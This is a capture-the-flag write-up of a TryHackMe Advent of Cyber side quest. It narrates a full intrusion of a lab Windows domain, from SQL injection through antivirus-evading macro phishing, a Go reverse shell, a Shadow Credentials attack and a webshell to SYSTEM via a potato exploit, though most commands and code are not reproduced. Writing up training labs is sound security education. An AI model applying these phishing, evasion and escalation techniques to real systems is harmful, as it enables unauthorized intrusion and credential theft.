T4: Krampus Festival
The Krampus is out to snatch your naughty elves. Will they end up all in his bag, or will you find a way to take control back?
Last updated
The Krampus is out to snatch your naughty elves. Will they end up all in his bag, or will you find a way to take control back?
Last updated
The following post by 0xb0b is licensed under CC BY 4.0
The keycard for the fourth side quest is hidden in the task for the 17th day of the TryHackMe Advent Of Cyber. The following task mentions that they got the CCTV running again. It seems like we have to look for a service running on the walkthrough machine: Good thing we had a backup of the CCTV application from yesterday. We got it running again in no time!
Day 17: He analyzed and analyzed till his analyzer was sore!
We start with an Nmap scan on the walkthrough machine to find the camera application if necessary. We have 5 open ports.
On port 8080 we find the Wareville CCTV application.
We click on Login and then enter our credentials and intercept the request using Burp Suite.
We save the request and use it for SQLMap to test the login for SQL Injection.
The login is vulnerable to SQL injection. We could now dump the database using time-based blind boolean, but it would take far too long. We now know that it is vulnerable and try to bypass the login.
With the following payload we can bypass the login and get redirected to my_cameras.php.
Here we can select different cameras and view the recordings.
The cameras are selected via camper.php?cam_id=1. We test for SQL injection again.
First, we intercept a request and save it so that we can then use it for SQLMap.
We are able to dump the database.
The cctv_db has table recordings with a lot of entries to the path /recordings/rec1337-deleted.mp4.
We visit the path on the website, and after a short duration, the keycard appears.
We can deactivate the firewall with the password of the keycard. We can pass the value to a website on port 21337.
After the deactivation of the firewall, we start with a Nmap scan. We have several open ports on the machine, referring to a Windows host.
We have port 53 DNS, port 80 a web server, 139 and 445 SMB, port 135 RPC, 464 Kerberos, 143 IMAP, 587 SMTP, 3389 RDP and 5985 Windows Remote Management. Interestingly, LDAP 389 and Kerberos authentication system 88 are missing for a challenge that suggests it may be AD-related.
The UDP scan shows that LDAP is there, but we can't really make use of it on UDP.
Using dnsenum to enumerate the DNS server only shows the domain socmas.corp and the name of the machine fisher.socmas.corp. This suggests that it might be a phishing related machine.
The directory scan of the website does not yield anything fruitful.
The same applies to the VHOST scan.
Since SMB is there, we could use NetExec to enumerate the SMB shares. We can authenticate without a username and password.
But we cannot enumerate the shares. With a guest user without providing a password, we are able to enumerate the shares. There is a ChristmasShare that we are able to read.
We use smbclient to connect to the share and find the first flag. Next to the flag we find an xlsx called approved and two images. One of them has the name steg. Is this really a steganographic challenge? We use mget * to download the whole share.
And it is indeed the first flag.
When we examine approved.xlsx, we see some entries that look like passwords. We save the contents to a text file called approved.txt to use later.
We are still missing some usernames. But since SMB is available and the $IPC share is readable, we can use rid bruteforce and get some usernames.
RID brute-forcing works by connecting to the IPC$ share of the target system and using the Security Account Manager Remote (SAMR) protocol to enumerate accounts. It starts with a known base RID (e.g. 500 for the administrator) and increments through potential RIDs, querying the system to see if a valid user or group exists for each one. Successful responses reveal the account names associated with those RIDs, allowing attackers to map users and groups on the target.
We saved the result to rid.txt.
And compile it into a proper usernamelist using awk.
Since we know the domain and that some mail-related ports are open, we also create a list of possible mails with the following command:
But there is also this stego image on the share. We try some stego tools on the images but find nothing useful. But there are two entries in the metadata of the approved.xlsx file. We have a creator called developer@test.corp and someone who modified the file called Administrator@SOCMAS.CORP.
We try to brute-force the credentials on SMTP and IMAP with our compiled list of mail addresses and the approved.txt, but do not find a valid combination. The list of usernames may come in handy later.
But there was also this user developer@test.corp. We use hydra to test for a combination with this user, but do not get a hit on SMTP.
But we get a hit on IMAP. Nice, we have access to one mail account.
We can test it via telnet and log in. As well as selecting the INBOX.
There are some mails we can fetch. But let's switch to a more convenient tool like Evolution.
The first email we fetch is a request from snowflakes.crawler@socmas.crop for a document containing the account details of all non-personal users.
Before we continue, let us set up Evolution. We will add a new account and set the email address.
Next, to receive mail, we select the server type IMAP, the server socmas.corp (which we have an entry for in our /etc/hosts) and enter the username developer@test.corp.
To send the mails, we chose SMTP for the socmas.corp server on port 587. But we will not bother here, as we will send the mail via swaks, which is even faster and more convenient for testing challenges like this.
Now we can read all three mails. The fourth email is a reply from snowflakes.crawler, which we will discuss later. Here we have the mail we found using telnet.
We also get information about improved protection with an updated anti-virus system, and all web traffic is now encrypted.
The last email from snowflakes.crawler to the developer is about sending the document credentials that Snowflakes still needs. So to get a foothold, it looks like we need to trick Snowflakes into opening a malicious attachment, such as an executable or macro-enabled document.
When we send something to snowflakes.crawler, we get a message back that the attachment is not what the elf was looking for. The answers may vary.
Several tests were done to get a shell. One idea was to inject macros from a remote dotm template, which worked partially but not completely.
This came from the idea that only .docx formats would be accepted, based on the feedback we received by email.
But with a little test, we see that .docm documents are also accepted. We create a simple macro that simply pings our machine four times.
We send the macro via swaks with the following command.
And get an answer from snowflakes.crawler.
At this point we can see the incoming pings using tcpdump. So docm, macros are allowed. But a simple macro that just uses a PowerShell reverse shell from revshells.com is not enough. Even downloading a netcat.exe and running it doesn't work. AV is very strict and works. It requires a more obfuscated payload.
This idea, powershell script, marko and binary were developed by Aquinas. All rights and credit are attributed to him.
The execution to get a reverse shell is split into three parts. First, an obfuscated Word macro that downloads a text file and executes its contents using powershell. A powershell script that downloads and runs an executable. And the executable, which is well obfuscated for AV as it is built with go to get a reverse shell.
This Word macro downloads a txt file and runs a PowerShell script.
The parameters a,b,c,d represents the octets of the IP where a and b 256 are added to the actual ip.
The dd parameter is for the port. The parameters e and f specify the name of the text file.
The Go program to get a reverse shell looks like the following.
This needs to be compiled on a Windows host.
The run.txt which contains the powershell script to download and run the reverse shell binary.
We use swaks to send the document and have a listener set up on port 4445 and an http server on port 80 to serve the run.txt and 0xb0b.exe.
After sending the mail, we get a reply from snowflakes.crawler.
A request to our http server to download run.txt and 0xb0b.exe, which eventually crashes.
And a connection back on our listener. We are the user scrawler.
The user flag is on the user's desktop. Unfortunately it is only a domain user. Next we need to enumerate the target.
To deliver our tools to the target we use the impacket-smbserver.
We map the \\10.14.90.235\smbFolder network share to the x: drive on the local system, using the user:test and password test123 that we have chosen.
Next, we use the latest version of PrivescCheck to enumerate the target machine, which does not get detected by the AV.
After running the command we get an html file with the results. We copy those to our share.
And we find some WinLogon credentials for our current user.
Examining the internal ports with netstat -ano, we find the LDAP port 389 and the DC-related port 88, which we need to enumerate the machine with bloodhound-python.
Next, we forward the ports using Chisel.
The latest version v1.10.1 is not detected. First, we start a Chisel server on our attacker's machine.
Next, we copy the chisel.exe using our share and forward at least the ports 389 and 88 to enumerate the DC.
Since we have now LDAP available we use ldapdomaindump with the credentials we have now.
After running ldapdomaindump we find the credentials of the user Winterberry_Locksmith. Another Domain user we see in the bloodhound results. But more on that later.
Since we have some usernames from the rid brute-force and that password, we test those using NetExec if those were reused.
And we get a hit for the user Krampus_Debugger and...
... KrampusIIS. This is really promising. Since an IIS user might contain the privileges to write to the C:\inetpub\wwwroot folder. And we already know there is a website hosted on port 80.
We explain exactly what this means in the attack path analysis. This is not the end of the story, because we cannot access the machine as IISKrampus using WinRM and we cannot enumerate shares. Possibly a false positive here.
With the scrawler credentials and the forwarded ports, we can now use bloodhound python. To fake the DNS queries and avoid any problems, we use dnschef beforehand.
Now we can use bloodhound python with the user scrawler's credentials to gather the juicy information.
We see that the user scrawler is just a domain user, and does not control anything.
But we also found the credentials of the user KRAMPUS_DEBUGGER. This user has GenericWrite permissions on KRAMPUS_SHADOW.
GenericWrite means that we can either do a targetedKerberoast attack on the target or make use of the Shadow Credentials attack using pyWhiskers. All suggested by Bloodhound.
The Shadow Credentials attack using tools like pyWhiskers is a technique to abuse Microsoft Active Directory Certificate Services (AD CS) to escalate privileges or maintain persistence within a network.
Shadow Credentials allows us to take over an account in an Active Directory environment without directly modifying the account's attributes or password.
Furthermore, the KRAMPUS_SHADOW is member of the KRAMPUSIIS@SOCMAS.CORP Group.
And the KRAMPUSIIS@SOCMAS.CORP group is part of the REMOTE MANAGEMENT USERS GROUP, which allows us to log in to the machine using WinRM if we have the user's credentials or hash.
So the idea now is to use the shadow credential attack on the user KRAMPUS_SHADOW with the credentials we have from KRAMPUS_DEBUGGER. This will allow us to request a certificate impersonating that user, which we can then use to recover the NT hash.
With the NT hash we are able to log in to the machine using WinRM. As the user is part of the KRAMPUSIIS group, this user will be able to write to C:\inetpub/wwwroot.
We'll try to place a webshell there to get access as an IIS apppool, which will most likely have the SeImpersonate privilege set. This can be easily exploited with a potato exploit to get NT AUTHORITY SYSTEM.
With the credentials of KRAMPUS_DEBUGGER we run the pywhiskers exploit.
First we test the exploit via --action list.
Then we add new vlaues:
pyWhisker has the ability to generate RSA keys, a X509 certificate, a KeyCredential structure, and to write the necessary information as new values of the
msDs-KeyCredentialLinkattribute. The certificate can be exported in a PFX format (#PKCS12, certificate + private key protected with a password) or in a PEM format (PEM certificate, PEM private key, no password needed).
This will create us a certificate. In this case 4YomZolE.pfx.
Once the values are generated and added by pyWhisker, a TGT can be request with gettgtpkinit.py. The NT hash can then be recovered with getnthash.py.
Next, we request a TGT.
And use that TGT to recover the NT hash.
We can now use the recovered NT hash to log in via evil-winrm, as the user KRAMPUS_SHADOW is part of the REMOTE MANAGEMENT USERS GROUP.
At C:\inetpub\wwwroot\Views\Home\Index.cshtml we find the login page. Inspecting the page with a browser, we find the cookie set and identify the web application as an asp.net application.
With a quick research we find the following webshell.
We prepare the content of Index.cshtml on the attacker machine; to initially test the execution, we just query a simple whomai.
To upload the Index.cshtml we make use of the upload utility of evil-WinRM.
By requesting the index page we see that we are the iis apppool\defaulapppool user.
We now prepare a web shell that will run the binary written in Go that we have already used to get a foothold. We place this accessible to the apppoluser at C:\inetpub\wwwroot\Views\Home\0xb0b.exe.
The web shell will simply run the binary. We again prepare a listener on port 4445.
We upload the Index.cshtml...
Query the index page...
And get a connection back as iis apppool\default apppool. This user has the SeImpersonatePrivilege enabled.
The SeImpersonatePrivilege is a powerful Windows privilege that allows a user or process to impersonate another user's security context. There are several potato exploits for this. Since the AV is very strict, we try the EfsPotato exploit. This needs to be compiled on the target system.
Use our SMB share again to transfer the source code.
We look for a csc compiler on the machine at C:\Windows\Microsoft.Net\Framework\.
To compile the binary we issue the following command like suggested in the repository.
We issue the follwoing command to execute the reverse shell binary in the context of NT Authority System.
We get a connection back to our listener and are NT Authroity System. We cannot find the root flag at C:\Users\Administrator\Desktop.
We query tree /f.
And find the final flag at Krampus_Proxy Desktop.
